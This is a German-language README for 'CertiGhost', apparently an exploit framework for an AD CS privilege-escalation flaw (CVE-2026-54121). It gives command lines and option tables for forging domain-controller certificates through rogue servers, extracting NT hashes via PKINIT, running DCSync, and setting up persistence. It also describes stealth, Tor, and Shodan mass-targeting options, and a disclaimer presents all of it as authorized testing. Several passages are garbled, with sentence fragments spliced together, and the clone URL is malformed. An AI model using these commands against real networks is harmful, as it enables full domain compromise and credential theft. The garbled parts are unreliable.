
👻 CVE-2026-54121 - Bestes CertiGhost AD CS Multi-Exploit-Framework | Erweitertes Toolkit mit Rogue-DC/LDAP-Servern, Zertifikatsmissbrauch, PKINIT-Hash-Extraktion. Funktionen: Sicherheitsprüfung erkennen, vollständiger Multi-Threaded-Exploit. 🛡️ CVSS 8.8 Hoch - Ethisch nutzen, legal bleiben. 🔒

Exploit-Framework & Audit-Toolkit
Nur für autorisierte Sicherheitstests.
Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Penetrationstests. Die Autoren und Mitwirkenden sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Die Benutzer sind allein dafür verantwortlich, dass sie vor dem Testen eine ausdrückliche schriftliche Genehmigung des Eigentümers des Zielsystems einholen. Unbefugter Zugriff auf Computersysteme ist gemäß den geltenden nationalen, bundesstaatlichen und internationalen Gesetzen zur Cyberkriminalität illegal. Durch die Verwendung dieser Software stimmen Sie Folgendem zu:
⚠️ WARNUNG: Schwachstellen zur Rechteausweitung in Active Directory stellen ein hohes Risiko für die Unternehmensinfrastruktur dar. Unautorisierte Tests sind strengstens untersagt.
CVE-2026-54121 (mit dem Codenamen „Certighost“) ist eine Schwachstelle zur Rechteausweitung (EoP) in den Microsoft Active Directory Certificate Services (AD CS). Sie ermöglicht es Domänenbenutzern mit geringen Rechten, Computerkonten von Domänencontrollern zu impersonieren und durch Zertifikatfälschung die vollständige Kontrolle über die Domäne (Domain Admin) zu erlangen.
CWE-285) in AD CS bei der Verarbeitung von Zielparametern in Zertifikatanforderungen.DCSync-Operationen auszuführen.detect_ip zu entfernen sowie Protokollierung und Ausgabe zu deaktivieren. Verwenden Sie für diese Version „stealthcert.py“.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
Die Schwachstelle beruht auf fehlerhaften Autorisierungs- und Validierungsprüfungen (CWE-285) innerhalb der Active Directory Certificate Services (AD CS) während der Zertifikatsregistrierung. Ein Angreifer mit Domänenanmeldedaten geringer Rechte kann die Zielumleitungsparameter manipulieren, um die Zertifizierungsstelle (CA) dazu zu bringen, Identitätsbestätigungen gegen einen Schurken-Endpunkt zu verifizieren.
Verwundbarer Endpunkt / Anforderungskontext:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
Manipulation des Verfolgungsziels: Ein Angreifer verändert die Zielumleitungsparameter (z. B. cdc / Verfolgungsziel) innerhalb der Zertifikatanforderung und zwingt die Zertifizierungsstelle (CA), den Verifizierungsverkehr an einen bestimmten Endpunkt weiterzuleiten.
Umleitung auf einen Schurken-Server: Die Zertifizierungsstelle (CA) initiiert LDAP- oder SMB-Verbindungen zu dem vom Client gelieferten Ziel, ohne zu prüfen, ob das Ziel ein legitimer und autorisierter Domänencontroller ist.
Fälschung der DC-Identität und Zertifikatsausstellung: Der vom Angreifer kontrollierte Schurken-Server beantwortet die von der CA im Namen des Ziel-Domänencontrollerkontos gestellten Verifizierungsabfragen. Gestützt auf diese Antwort stellt die CA ein gültiges, signiertes Zertifikat mit der Identität des Domänencontrollers aus.
Mithilfe des erlangten Domänencontroller-Zertifikats wird über PKINIT (Public Key Cryptography for Initial Authentication) eine Kerberos-Authentifizierung durchgeführt, um ein TGT mit hohen Rechten zu erhalten.
Mit einem Kerberos-Ticket, das Domänencontroller-Rechte besitzt, werden mithilfe der DCSync-Technik Kennwort-Hashes aller Konten in der Active-Directory-Datenbank (z. B. krbtgt, Administrator) extrahiert.
krbtgt-Kontos gefälscht.msDS-KeyCredentialLink der Zielkonten hinzugefügt, um dauerhaften Zugriff zu sichern.| Attributed | Wert |
|---|
| 📅 Entdeckt / gepatcht | Juli 2026 (Microsoft Patch Tuesday) |
| ⚠️ CVSS-Score | 8.8 (HOCH) |
| 🏷️ Codename | Certighost |
| 🎯 Betroffene Produkte | Microsoft Active Directory Certificate Services |
| 🔄 Behobene Versionen | Sicherheitsupdate Juli 2026 |
| 🔓 Authentifizierung | Domänenkonto mit geringen Rechten |
| 🌍 Auswirkung | Vollständige Kompromittierung der Active-Directory-Domäne |
| Parameter | Beschreibung | Beispiel |
|---|
-d, --domain | DNS-Name der Zieldomäne (erforderlich) | -d playground.local |
-u, --username | Domänenbenutzer mit geringen Rechten (erforderlich) | -u lowpriv |
-p, --password | Benutzerkennwort | -p Password123 |
-H, --hashes | NTLM-Hash [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | IP-Adresse des Domänencontrollers (erforderlich) | --dc-ip 192.168.1.10 |
--ca-ip | IP-Adresse der Zertifizierungsstelle (optional) | --ca-ip 192.168.1.20 |
--ca | CA-Name (wird bei Nichtangabe automatisch ermittelt) | --ca "PLAYGROUND-CA" |
--listener | Angreifer-IP für Schurken-Server | --listener 192.168.1.100 |
--target-san | Zu impersonierendes Computerkonto (z. B. DC01$) | --target-san DC01$ |
--template | Zertifikatvorlage (Standard: Machine) | --template Machine |
--computer-name | Name eines vorhandenen Computerkontos (mit $) | --computer-name GHOSTABCD$ |
--computer-pass | Kennwort des vorhandenen Computers | --computer-pass CGabc123... |
--computer-hash | NT-Hash des vorhandenen Computers | --computer-hash 8846f7ea... |
--use-ldap | LDAP (389) anstelle von LDAPS (636) verwenden | --use-ldap |
--exploit | Exploitation durchführen | --exploit |
--detect | Nur Erkennung (kein Exploit) | --detect |
-t, --threads | Maximale Threads für Massenscans | -t 10 |
--timeout | Zeitlimit pro Anfrage (Sekunden) | --timeout 10 |
--retry | Anzahl der Wiederholungsversuche bei Fehlern | --retry 3 |
--delay | Basisverzögerung zwischen Anfragen | --delay 1.0 |
--proxy | Proxy-URL | --proxy http://127.0.0.1:8080 |
--no-verify | SSL-Verifizierung deaktivieren | --no-verify |
--tor | Tor-Proxy verwenden (socks5h://127.0.0.1:9050) | --tor |
-o, --output | Ausgabedatei (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Ausführliche Ausgabe | -v |
-q, --quiet | Stiller Modus | -q |
-h, --help | Hilfe anzeigen | -h |
| Parameter | Beschreibung | Beispiel |
|---|
-t, --target | IP-Adresse oder Hostname der Ziel-CA (erforderlich) | -t 192.168.1.20 |
-d, --domain | DNS-Name der Zieldomäne (erforderlich) | -d playground.local |
--dc-ip | IP-Adresse des Domänencontrollers (erforderlich) | --dc-ip 192.168.1.10 |
-u, --username | Domänenbenutzer mit geringen Rechten (erforderlich) | -u lowpriv |
-p, --password | Benutzerkennwort | -p Password123 |
-H, --hashes | NTLM-Hash [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | Name eines vorhandenen Computerkontos (mit $) | --computer-name GHOSTABCD$ |
--computer-pass | Kennwort des vorhandenen Computers | --computer-pass CGabc123... |
--computer-hash | NT-Hash des vorhandenen Computers | --computer-hash 8846f7ea... |
--target-account | Zu impersonierendes Konto (z. B. DC01$) | --target-account DC01$ |
--template | Zertifikatvorlage (Standard: Machine) | --template Machine |
--listener | Angreifer-IP für Schurken-Server (bei Nichtangabe automatisch erkannt) | --listener 192.168.1.100 |
--use-ldap | LDAP (389) anstelle von LDAPS (636) verwenden | --use-ldap |
--keep-files | .pfx- und .ccache-Dateien behalten (Standard: löschen) | --keep-files |
-h, --help | Hilfe anzeigen | -h |
| Parameter | Beschreibung | Beispiel |
|---|
-u, --url | IP-Adresse oder Hostname der Ziel-CA | -u 192.168.1.20 |
-l, --list | Datei mit Zielen (eine pro Zeile) | -l targets.txt |
--shodan | Ziele von Shodan laden | --shodan |
--shodan-query | Shodan-Suchabfrage | --shodan-query "AD CS Certificate" |
-d, --domain | DNS-Name der Zieldomäne (erforderlich) | -d playground.local |
--dc-ip | IP-Adresse des Domänencontrollers (erforderlich) | --dc-ip 192.168.1.10 |
--username | Domänenbenutzer mit geringen Rechten (erforderlich) | --username lowpriv |
-p, --password | Benutzerkennwort | -p Password123 |
-H, --hashes | NTLM-Hash [LM:]NT | -H :8846f7ea... |
--computer-name | Name eines vorhandenen Computerkontos (mit $) | --computer-name GHOSTABCD$ |
--computer-pass | Kennwort des vorhandenen Computers | --computer-pass CGabc123... |
--computer-hash | NT-Hash des vorhandenen Computers | --computer-hash 8846f7ea... |
--target-account | Zu impersonierendes Konto (z. B. DC01$) | --target-account DC01$ |
--template | Zertifikatvorlage (Standard: Machine) | --template Machine |
--listener | Angreifer-IP für Schurken-Server | --listener 192.168.1.100 |
--use-ldap | LDAP (389) anstelle von LDAPS (636) verwenden | --use-ldap |
--exploit | Exploitation durchführen | --exploit |
--detect | Nur Erkennung (kein Exploit) | --detect |
-t, --threads | Maximale Threads für Massenscans | -t 10 |
--timeout | Zeitlimit pro Anfrage (Sekunden) | --timeout 10 |
--retry | Anzahl der Wiederholungsversuche bei Fehlern | --retry 3 |
--delay | Basisverzögerung zwischen Anfragen | --delay 1.0 |
--proxy | Proxy-URL | --proxy http://127.0.0.1:8080 |
--no-verify | SSL-Verifizierung deaktivieren | --no-verify |
--tor | Tor-Proxy verwenden | --tor |
-o, --output | Ausgabedatei (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Ausführliche Ausgabe | -v |
-q, --quiet | Stiller Modus | -q |
-h, --help | Hilfe anzeigen | -h |